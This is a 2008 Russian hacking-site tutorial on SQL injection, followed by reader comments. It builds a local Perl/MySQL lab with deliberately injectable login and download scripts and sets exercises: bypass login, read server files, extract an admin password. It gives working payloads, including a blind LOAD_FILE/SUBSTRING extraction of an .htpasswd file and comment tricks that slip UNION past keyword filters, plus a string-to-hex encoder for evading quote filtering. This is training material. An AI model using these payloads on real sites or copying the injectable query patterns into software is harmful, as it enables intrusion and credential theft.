Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиХакингТеория и практика SQL-injection
© Alien 30.07.2008

Доброе время суток, уважаемые читатели.

На данный момент интерес к теме SQL-injections значительно повысился. В Сети опубликовано немало интересных материалов по данной теме. В этой статье я доступно и с примерами изложил то, что прочитал, понял и проверил на практике. Для того, чтобы каждый мог самостоятельно попробовать свои силы и умения в этой области, я решил составить практическое руководство по настройке "полигона для испытаний" на основе семейства ОС Windows.

Часть 0x0. Установка и настройка необходимого ПО.

Базовая конфигурация содержит:
Интерпретатор языка Perl. Здесь и далее используется ActivePerl производства ActiveState. Сайт автора: http://activestate.com/Products/ActivePerl
SQL-сервер. Используем самый доступный вариант - MySQL (http://dev.mysql.com/downloads)
Интерфейсные модули для взаимодействия Perl с сервером БД (DBI, DBD-mysql)

0.1 Устанавливаем ActivePerl

Установка самого ActivePerl не вызывает особых проблем. Главное - не забудьте установить Perl Package Manager (PPM). По умолчанию установка производится в папку C:\Perl, при этом файлы библиотек располагаются в C:\Perl\lib, C:\Perl\site\lib. Проверить пути к библиотекам можно просто - создайте файл с расширением .pl следующего содержания:

#!perl

print join ("\n", @INC);
<>;

и запустите. Вам будут выведены пути к библиотекам.

0.2 Устанавливаем модули DBI, DBD-mysql

Если на предыдущем шаге все прошло нормально, приступим к установке необходимых модулей. Открываем консоль (cmd.exe), все последующие действия проводятся в этом же окне. Если вход в интернет осуществляется через прокси сервер, зададим его с помощью переменной окружения HTTP_PROXY:

\\Для вывода и ввода текущих установок переменной используеться команда set, порт ставиться любой удобный для вас, главное чтобы он был свободен и не затрагивался иными службами. Код: set HTTP_PROXY = http://hostname:port

Подключаемся к интернету. В консоли запускаем установку модулей. Сначала DBI:
\\ppm - Project portfolio management
\\ppm - директива обработки последующей комманды
\\Все рассматриваемые примеры подразумевают расположение всех файлов в корневой директории диска С:\ , это избавит вас от лишних действий указания директорий.
ppm install DBI
Проверяем, все ли нормально установилось:

ppm> properties DBI
====================
    Name: DBI
 Version: 5.1
  Author: Tim Bunce (dbi-users@perl.org)
   Title: DBI
Abstract: Database independent interface for Perl
InstDate:  03:54:34 2008
Location:
http://site.com/cgibin/PPM/ppmserver-5.8-windows.pl?urn:/PPMServer
Available Platforms:
       1. MSWin32-x86-multi-thread-5.8
====================

Теперь DBD-mysql:
ppm install DBD-mysql

Проверяем:

ppm> properties DBD-mysql
====================
    Name: DBD-mysql
 Version: 5.1
  Author: Rudy Lippan (rlippan@remotelinux.com)
   Title: DBD-mysql
Abstract: MySQL driver for the Perl5 Database Interface (DBI)
InstDate:  04:14:54 2008
Location:
http://site.com/cgibin/PPM/ppmserver-5.8-windows.pl?urn:/PPMServer
Available Platforms:
       1. MSWin32-x86-multi-thread-5.8
====================

Если все прошло без сбоев - поздравляем себя - перл установлен и готов к работе. Переходим к серверу БД.

0.3 Устанавливаем MySQL

Качаем и устанавливаем MySQL. Я устанавливал версию 5.1, но в будущем для экспериментов лучше иметь и более старую.

При установке Вас спросят, каким образом предпочтительно запускать сервер а также имя пользователя и пароль (для удобства лучше создать пользователя с правами администратора - root). Я установил MySQL как службу и запускаю вручную при необходимости.

Желательно теперь перезагрузить компьютер, чтобы все изменения вступили в силу.

Осталось сделать две вещи: создать базу данных и изменить пароль. Самое время запустить SQL-сервер (Пуск->Настройка->Панель управления->Администрирование->Службы на службе MySQL жмем Пуск). В консольном клиенте MySQL (Пуск->Программы->MySQL->MySQL Server 5.1->MySQL Command Line Client), набираем заданный при установке пароль к базе. Перед нами - приглашение сервера MySQL:

mysql>

Создадим тестовую базу данных, которую назовем, к примеру, main, подключим ее и создадим в ней таблицу users, в которую добавим одну лишь запись:


CREATE DATABASE main;
Query OK, 1 row affected (0.03 sec)
USE main;
Database changed
CREATE TABLE users (username varchar(16), password varchar(16));
Query OK, 0 rows affected (0.29 sec)
insert into users values('john','ripper');
Query OK, 1 row affected (0.09 sec)

Из-за того, что в модулях DBI и DBD-mysql используется старый тип авторизации, необходимо задать пароль в старом формате:


mysql> SET PASSWORD FOR
    -> 'root'@'localhost' = OLD_PASSWORD('ваш_пароль');
Query OK, 0 rows affected (0.15 sec)

На этом с установкой программ закончим. Время проверить, работает ли все это.

Часть 1. Первые шаги.

Один из распространенных случаев использования БД - авторизация. Предлагаю Вашему вниманию в качестве примера простенький скрипт авторизации.

Задания:
Пройти авторизацию без знания имени пользователя и пароля
Получить содержание произвольного файла с сервера

Исходник скрипта:

#!perl use DBI; my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = 'ghbtvyfz'; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение my $inputuser = "john"; my $inputpass = 'ripper'; # формируем запрос $str = "select * from users where username = '$inputuser' AND password = '$inputpass'"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению $sth->execute(); # выполнение запроса ($id, $password) = $sth->fetchrow_array(); # получаем первую запись из ответа на запрос if ((defined $id) && (defined $password)) { # авторизация успешно пройдена print "Welcome, $id! Your password is \"$password\".\n"; } else { # доступ запрещен print "Login incorrect"; } $sth->finish(); # закончили запрос exit;

Теория: Обработка комментариев. Определение версии MySQL.

Каждый SQL-сервер имеет свои специфические отличия от стандартного языка SQL. В случае MySQL одним из таких отличий является обработка внутреннего содержания комментариев. Для начала рассмотрим синтаксическое оформление комментариев в MySQL:


mysql> SELECT 1+1;     # Комментарий до конца строки 
mysql> SELECT 1-1;     -- и здесть тоже 
mysql> SELECT 1 /* комментарий внутри запроса */ + 1; 
mysql> SELECT 1+ 
/* 
многосторочный 
      комментарий (не всегда концы строк  
          адекватно проходят через скрипты) 
*/ 1;

Вот какие особенности интерпретации комментариев существуют в MySQL: С точки зрения синтаксиса комментарий /* comment */ в запросе рассматривается как строка длиной нуль (см. ниже). Если после открывающей скобки комментария идет восклицательный знак: /*! command */, содержимое комментария интерпретируется как специфическая команда. Это сделано для улучшения переносимости кода между различными SQL-серверами (другие SQL-серверы просто пропускают такие комментарии). Одинарные, двойные кавычки и точка с запятой не теряют своей силы даже внутри комментария. Команды, заключенные в комментарии вида /*!XYYZZ command */, выполняются только если версия MySQL-сервера равна или выше X.YY.ZZ [*]Комментарий, заданный двойным дефисом -- считается комментарием только в том случае, если за дефисами следует хотя бы один пробел. Учитывая эти особенности мы можем: Обойти систему обнаружения SQL-инъекции, отлавливающую "подозрительные" запросы по ключевым словам и Определить версию MySQL-сервера, запущенного на сервере. Думаю, что все будет понятно из нижеприведенных примеров:

Пример 1. Маскируем UNION

Код:

 mysql> select * from test_table where a > 1 union select 1,1; 

+------+------+ 
    a      b      
+------+------+ 
   66     99   
    1      1   
+------+------+ 
2 rows in set (0.00 sec) 

mysql> select * from test_table where a > 1 u/* comment here */nion select 1,1; 
+------+------+ 
    a      b      
+------+------+ 
   66     99   
    1      1   
+------+------+ 
2 rows in set (0.00 sec)

Пример 2. Определяем версию


 mysql> select VERSION(); 
+-----------+ 
  VERSION()   
+-----------+ 
   5.1-nt   
+-----------+ 
1 row in set (0.00 sec) 

mysql> select 1 /*!50000 oops.. */; 
+---+ 
  1   
+---+ 
  1  
+---+ 
1 row in set (0.00 sec) 

mysql> select 1 /*!40000 oops.. */; 
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near '.. */ 
' at line 1 
mysql> select 1 /*!42000 oops.. */; 
+---+ 
  1   
+---+ 
  1  
+---+ 
1 row in set (0.00 sec)

Немного усложним задание: Модифицируем скрипт из первого задания и обзовем его auth1.pl:

#!perl 
use DBI; 
print "Content-type: text/html\n\n";
%Q = &get_cgi_params; 
if ((defined $Q{'user'}) && (defined $Q{'pass'}))
{	
 my $dsn = 'DBI:mysql:main:localhost'; 
 # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера 
 my $db_user_name = 'root'; 
 my $db_password = ''; 
 my ($id, $password); 
 my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение 
 # формируем запрос 
 $str = "select * from auth1 where username = '$Q{'user'}' AND password = '$Q{'pass'}'"; 
 my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
 $sth->execute(); # выполнение запроса 
 ($id, $password) = $sth->fetchrow_array(); # получаем первую запись из ответа на запрос 
 if ((defined $id) && (defined $password)) 
 { 
	 # авторизация успешно пройдена 
	 $id=substr($id,0,255); # обрезаем полученый ответ до 255 символов.
	 $password=substr($password,0,255);
	 print "Welcome, $id! Your password is \"$password\".\n"; 
 } 
 else 
 { 
	 # доступ запрещен 
	 print "Login incorrect"; 
 } 
 $sth->finish(); # закончили запрос 
}
else 
{ 
	print "Введен пустой запрос\n"; 
} 
exit; 
sub get_cgi_params { 
	my ($request, %out); 
	if ($ENV{REQUEST_METHOD} eq 'POST') { 
		read(STDIN, $request, $ENV{CONTENT_LENGTH}); 
		$ENV{QUERY_STRING} = $request; 
	} else { 
		$request = $ENV{QUERY_STRING}; 
	} 
	foreach my $param (split /[&;]/, $request) { 
		$param =~ s/\+/ /g;
		my ($key, $value) = split /=/, $param, 2; 
		$key   =~ s/%(..)/pack('c', hex($1))/ge; 
		$value =~ s/%(..)/pack('c', hex($1))/ge; 
		$out{$key} .= "\0" if exists $out{$key}; 
		$out{$key} .= $value; 
	} 
	%out; 
}

Задача: необходимо получить _весь_ исходник этого скрипта....ну или _полностью_ любой файл больше 255 байт. Вот скриптец для создания таблицы (create1.pl):

Код:
#!perl 
use DBI; 
my $dsn = 'DBI:mysql:main:localhost'; 
# параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера 
my $db_user_name = 'root'; 
my $db_password = ''; 
my ($id, $password); 
my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение 
$str = "drop table auth1;"; # на всякий случай ;) 
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Dropping table \'auth1\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 
$str = "create table auth1 (username TINYTEXT, password TINYTEXT);"; 
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Creating table \'auth1\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 
$str = "insert into auth1 values (\'admin\', \'owned\');"; 
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Filling table \'auth1\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 
exit;

Ну и формочка для удобства (form1.html)


<form method=POST action="http://localhost/cgi-bin/auth1.pl">
Username: <input name=user size=100><br>
Password: <input name=pass size=100><br>
<input type=submit>
</form>

Еще одно задание. Данная задача берет свое начало с реального сайта одного чешского контент-провайдера. Правда я взял только идею, а реализация - собственная. Там раздавали на скачивание видеофайлы, без авторизации, но размещались они на сервере они лишь на ограниченное время в специально созданных директориях. Например: http://localhost/videos/01VD7a0eo8ybwtZwUyKpx6CRUfguxLoH/threesome.wmv Понятно, что не зная пути, скачать их было невозможно. Не знаю, как именно на том сайте раздача была реализована (видел только /server-status, где как раз подобные директории приметил, файлы качались "на ура"), но идея с директориями мне запомнилась. Уже позже, увидев в какой-то статье интересный SQL-запрос, решил под него придумать задачу. Вот идея и пригодилась. Реализацию предлагаю вашему вниманию.

1. Реализация на локальной машине

Ссылки на скачивание раздает скрипт third.pl (см. Приложение), получающий в качестве параметра (id) номер файла (в скрипте я реализовал только сам механизм формирования ссылки на файл из БД). Пробуя разные номера (не все из них обязательно имеются в БД), можно свободно качать кино (авторизация в скрипте не предусмотрена).

Кино - это, конечно, здорово... Однако, хочется, как всегда, большего. Например, доступа в админ-панель: http://localhost/admin/ но вот незадача - панель защищена паролем. Через дырку в другом скрипте вытаскиваем .htaccess

Options FollowSymLinks
AuthName "Admin Panel"
AuthType Basic
AuthGroupFile /dev/null
AuthMySQLHost localhost
AuthMySQLUser root
AuthMySQLPassword ghbtvyfz
AuthMySQLDB main
AuthMySQLUserTable auth
AuthMySQLNameField username
AuthMySQLPasswordField password
AuthMySQLCryptedPasswords off

# AuthcookieName CoinAccess
<Limit GET POST PUT>
require valid-user
</Limit>

<Files ~ "^.ht">
	Satisfy all
	Order deny,allow
	deny from all
</Files>

из которого ясно следующее: имена и пароли для доступа в админ-панель хранятся в таблице auth БД main на сервере localhost, имя пользователя и пароль для доступа к серверу БД: root и ghbtvyfz соответственно.

Как же вытащить админский пароль из БД? Но ведь у нас есть скрипт, работающий с сервером БД! Правда у него только один параметр... Но этого, поверьте, достаточно, чтобы выяснить пароль Перейдем к построению нашего очередного полигона:

2. Приготовления

Для практики необходимо: Установить Web-сервер Apache (http://httpd.apache.org/), ActivePerl, модули DBI, DBD-mysql и MySQL 5.1.x также должны быть установлены, как это сделать - описано выше; Скопировать файлы: third.html, create.pl в директорию Apache/htdocs; third.pl в Apache/cgi-bin; Изменить при необходимости в скриптах create.pl, third.pl параметры доступа к БД; Запустить сервер MySQL; В директории Apache/htdocs запустить create.pl (не из браузера). Он создаст нужные директории на диске и таблицы в БД;

3. Задание

Предположив, что в таблице auth содержится запись для пользователя admin, добыть для него пароль через скрипт third.pl. Удобно для экспериментов вводить данные в форму (см. Приложение), а не в адресную строку. Скрипт third.pl понимает и GET, и POST. Версия сервера MySQL - 5.1.x, и это важно.

Решение задачи существует, проверено =)

Приложение 1. Листинг create.pl

#!perl 

use DBI; 

my $dsn = 'DBI:mysql:main:localhost';  
# параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера 

my $db_user_name = 'root';  
my $db_password = 'ghbtvyfz'; 
my ($id, $password); 
my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение 

$str = "drop table auth;"; # на всякий случай ;) 
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Dropping table \'auth\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 

$str = "create table auth (username varchar(32), password varchar(32));";  
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Creating table \'auth\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 

$str = "insert into auth values (\'admin\', \'owned\');";  
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Filling table \'auth\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 

$str = "drop table videos;"; # на всякий случай ;) 
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Dropping table \'videos\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 

$str = "create table videos (id int, dir varchar(32), filename varchar(32));";  
my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
print "Creating table \'videos\'\n"; 
$sth->execute(); # выполнение запроса 
$sth->finish(); 

mkdir ("vid"); 

open O, ">data4videos.dump"; 

print "Insertinging data: "; 

$count = 0; 

for $id (1..381) 
{ 
    if ($count % 10 == 0) { print "."; } 
    $count++; 
    $dir = &generate_dir; 
    mkdir("vid/$dir"); 
    open VID, ">vid/$dir/movie.avi"; 
    print VID "empty ;)"; 
    close VID; 
    $str = "insert into videos values (\'$id\', \'$dir\', \'movie.avi\');";  
    my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
    $sth->execute(); # выполнение запроса 
    $sth->finish(); 
     
    print O "$id,$dir,movie$id.avi\n"; 
} 

print " Complete.\nExiting\n"; 
close O; 

exit; 

sub generate_dir 
{ 
    my $l = 0; 
    @charset = ('A'..'Z','a'..'z','0'..'9'); 
    my $dirname; 
    while ($l<32) 
    { 
        #srand(int(time-$timestamp)); 
        $dirname .= $charset[int(61*rand)]; 
        $l++; 
    } 
    return $dirname; 
}

Приложение 2. Листинг third.pl

#!perl 

print "Content-type: text/html\n\n"; 

use DBI; 

my $dsn = 'DBI:mysql:main:localhost';  
# параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера 

my $db_user_name = 'root';  
my $db_password = 'ghbtvyfz'; 
my ($id, $password); 
my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение 

%Q = &get_cgi_params; 

if (defined $Q{'id'}) 
{ 
    $str = "select dir,filename from main.videos where id=$Q{id};";  
    my $sth = $dbh->prepare($str); # подгодтовка к выполнению 
    $sth->execute(); # выполнение запроса 
    ($dir, $filename) = $sth->fetchrow_array(); 
    if (-e "../htdocs/vid/$dir/$filename") 
    { 
        print "<center>\nDownload link: <a href=\"/vid/$dir/$filename\">$filename</a></center>\n"; 
    } 
    else 
    { 
        print "Вы ввели неверный номер файла\n"; 
    } 
    $sth->finish(); 
} 
else 
{ 
    print "Введен пустой запрос\n"; 
} 

exit; 


sub get_cgi_params { 
    my ($request, %out); 

    if ($ENV{REQUEST_METHOD} eq 'POST') { 
        read(STDIN, $request, $ENV{CONTENT_LENGTH}); 
        $ENV{QUERY_STRING} = $request; 
    } else { 
        $request = $ENV{QUERY_STRING}; 
    } 

    foreach my $param (split /[&;]/, $request) { 
        $param =~ s/+/ /g; 

        my ($key, $value) = split /=/, $param, 2; 

        $key   =~ s/%(..)/pack('c', hex($1))/ge; 
        $value =~ s/%(..)/pack('c', hex($1))/ge; 

        $out{$key} .= "\0" if exists $out{$key}; 
        $out{$key} .= $value; 
    } 

    %out; 
}

Приложение 3. Листинг form.html


 <form method=POST action="/cgi-bin/third.pl"> 
<input name=id size=100> 
<input type=submit> 
</form>

Анализ полученного параметра.

Сейчас я расскажу об одной технике, довольно трудоемкой в применении, но оправданной, когда нет возможности применить прямую инъекцию. Напомню два момента: Наиболее удобный в инспользовании метод с применением UNION-запроса возможен в MySQL только в версиях 5.*.*. В случае, если используется версия 4.*.*, возможности инъекции значительно сокращаются. Хотя при работе напрямую (через порт) с сервером возможно выполнение нескольких запросов (в любой версии сервера), разделенных ";", в php- и perl-интерфейсах к MySQL такая возможность, как правило, заблокирована.

Рассмотрим простейший запрос к SQL-серверу:

SELECT filename, title, length, resolution FROM movies WHERE id=16;

Допустим мы можем свободно менять параметр id: http://localhost/showmoviedetails.php?id=16 Рассмотрим вариант, когда нет возможности использовать UNION-запрос.

Идея заключается в том, чтобы задавать значение параметра id не напрямую, а в виде выражения, значение которого мы хотим узнать. Затем по результату выполнения запроса мы можем определить значение этого выражения. Продемонстрирую применение этой идеи:

1. Есть файл /var/websites/kyle/.htpasswd :


brunodickman:48gWc/Zywpg.k
samiamsam:36h7dlMxU4CkI
andre912:73zToJ1.of8WE
jbmeee:67RfcLINdLPb2
andyth:775HDYUEM/GSA

2. Результат выполнения LOAD_FILE("/var/websites/kyle/.htpasswd") есть строка, которую можно читать посимвольно функцией SUBSTRING(string,position,length), первый символ строки имеет номер 1.

3. Символ легко преобразовать в его ASCII-код: ORD(string)

4. Если блокируются кавычки, строку с именем файла можно задать в других форматах:
"file" = char(102)+char(105)+char(108)+char(101)
"file" = 0x66696C65
Иногда случается, что веб-сервер не передаёт символы '+' программе, а заменяет их пробелами на лету. В этом случае можно воспользоваться CHAR(102,105,108,101), например, так даже короче будет.

5. Окончательный вид параметра id для получения 1-го символа файла /var/websites/kyle/.htpasswd выглядит следующим образом: id=ORD(SUBSTRING(LOAD_FILE(0x2F7661722F77656273697465732F6B796C652F2E6874706173737764),1,1)) Аналогичным образом можно получить значение полезных функций USER(), DATABASE(), VERSION().

Конвертор строк в форматы char() и 0xABC для SQL-запросов

Не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE(). В языке SQL существуют альтернативные пути представления строк, это кострукции вида: 'string' = char(115)+char(116)+char(114)+char(105)+char(110)+ char(103) 'string' = 0x737472696E67 Я доработал один весьма полезный инструмент (добавлено 0x123-представлние и возможность выбора,заменять + на %2b, что необходимо в случае GETзапроса).

Листинг предлагаю вниманию общественности. Вместе с конструкцией char(1)+char(2) выводиться char(1,2), так короче и красивее.

<html>
<head>
<title>String Convertor for SQL-query</title>
<script language="javascript">
function baseConverter (number,ob,nb) { // число, разрядность_исходная, разрядность_желаемая
	http://members.site.com/brianrisk
	number = number.toUpperCase();
	var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	var dec = 0;
	for (var i = 0; i <=  number.length; i++) {
		dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1)));
	}
	number = "";
	var magnitude = Math.floor((Math.log(dec))/(Math.log(nb)));
	for (var i = magnitude; i >= 0; i--) {
		var amount = Math.floor(dec/Math.pow(nb,i));
		number = number + list.charAt(amount); 
		dec -= amount*(Math.pow(nb,i));
	}
	return number;
}

function recode(target)
{
 var s = new String(target);
 var out = new String("");
 var plus = "";
 if (document.forms[0].replaceplus.checked)
 { plus = "%2b"; } else { plus = "+"; }
 for(i=0;i<s.length;i++)
 {
  out += "char(" + s.charCodeAt(i) + ")"; 
  if (i+1<s.length){ out += plus; }
 }
 return out;
}
function recode16(target16)
{
 var s = new String(target16);
 var out = new String("0x");
 for(i=0;i<s.length;i++)
 {
  if (s.charCodeAt(i) < 10)
  {
   out += "0" + baseConverter(String(s.charCodeAt(i)),10,16);
  }
  else
  {
   out += baseConverter(String(s.charCodeAt(i)),10,16);
  }
 }
 return out;
}

</script>
<style type="text/css">
BODY {
	scrollbar-base-color: #252525;
	scrollbar-arrow-color: #bbbb88;
	COLOR: #e4e4e4;
	margin:	0;
	font-family: Verdana;
	font-size: 13px;
	background-color: #444444;
	}
td	{
	font-family: Verdana;
	COLOR: #e4e4e4;
	font-size: 13px;
}
SELECT {
	FONT-FAMILY: Verdana;
	FONT-SIZE: 10px;
	COLOR: #e4e4e4;
	font-weight: bold;
	BACKGROUND-COLOR: #444444;
}
TEXTAREA, {
	FONT-SIZE: 13px;
	FONT-FAMILY: Verdana;
	COLOR: #EEEEEE;
	BACKGROUND-COLOR: #252525;
}
.days {
	FONT-FAMILY: Verdana;
	border : none;
	FONT-SIZE: 10px;
	COLOR: #e4e4e4;
	BACKGROUND-COLOR: #222222;
}
.bginput {
	FONT-SIZE: 11px;
	FONT-FAMILY: Verdana;
	font-weight: bold;
	COLOR: #EEEEcc;
	BACKGROUND-COLOR: #252525;
}

A:link, A:visited, A:active {
	COLOR: #e2e5cc;
	text-decoration: none;
}
A:hover {
	COLOR: #FFffcc;
}
.thtcolor {
	COLOR: #f5f5f5;
}
.bright {
	BACKGROUND-COLOR: #dddddd;
	padding-bottom : 5px;
 	padding-left : 5px;
 	padding-right : 5px;
 	padding-top : 5px;
	FONT-SIZE: 11px;
}
.qu {
BACKGROUND-COLOR: #3b3b3b;
 border : thin inset;
 margin-bottom : 5px;
 margin-left : 15px;
 margin-right : 5px;
 margin-top : 5px;
 padding-bottom : 5px;
 padding-left : 5px;
 padding-right : 5px;
 padding-top : 5px;
border-width : 1px 1px 1px 1px;
}
</style>
</head>

<body>
<form>
<table border=0 cellpadding=2>
<tr><td align=center>source</td></tr>
<tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr>
<tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>0x0123-like result</td></tr>
<tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr>
<tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr>
</table>
</form>
</body>

</html>

Спасибо за внимание, с уважением Alien. При копировании статьи или её части обязательна ссылка на источник. Специально для Group of Freedom Search,отдельное спасибо Luke, за помощь в написании статьи.




© Alien 30.07.2008

e-Commerce Partners Network
$p01nt написал:

не очень хорошая статья ... таких море ... и воды много в начале ...

tp123 написал:

поддерживаю споинта! даже не все прочитал

Alien написал:

$p01nt, вот представьте себе , нигде не видел , чтобы к подобным статьям прилагались задания...

lord написал:

Радоваться надо тому,что нравится,а если не нравится,то лучше промолчать.
Alien,за старание - 5!

Путеводитель написал:

Поддержим отечественного производителя)

Outlaw написал:

не очень хорошая статья ... таких море ... и воды много в начале ...
-------------------------------------------------------

Почему же в сети таких много? я лично не видел, может есть похожие но на другие темы :) Мне такие статьи нравятся тем что много примеров и заданий, а то что много вставок кода дык куда же без него, лучше попробуйте это все на практике :)

поддерживаю споинта! даже не все прочитал
---------------------------------------------

А вот это зря, как так не все прочитали? тогда нельзя понять в чем смысол, не надо смотреть на название, главное что в нутри :)

fraIzer написал:

Неплохая статейка, советую побольше нестандарта...

ананимс) написал:

не приходилось ставить мускул...
а обязательно ставить к нему интерпритатор перла?
или можно обойтись без него?
денвер же обходится

fraIzer написал:

В статье есть неточности, например с каких это пор в 4 ветке стало невозможным использование union оператора?!

pavalx написал:

2 ананимс)
Не обязательно.
MySQL работает как сервис. А перл к нему просто обращается через модули DBI, DBD-mysql.
PS: в денвере не установлен perl ?

2fraIzer написал:

fraIzer, харе выпендриваться... надо посмотреть иногда на себя со стороны;)

132 написал:

ирц чан помер?

Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
26.06.2017 07:33:17 DeweyAloma написал:
If you have a desire to learn how to earn from...
XSS Часть II
26.06.2017 07:09:03 DeweyAloma написал:
If you have a desire to learn how to earn from...
Взлом приложений WEB 2.0 из Firefox
26.06.2017 04:42:47 DeweyAloma написал:
If you have a desire to learn how to earn from...
HTTP. Описание протокола
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100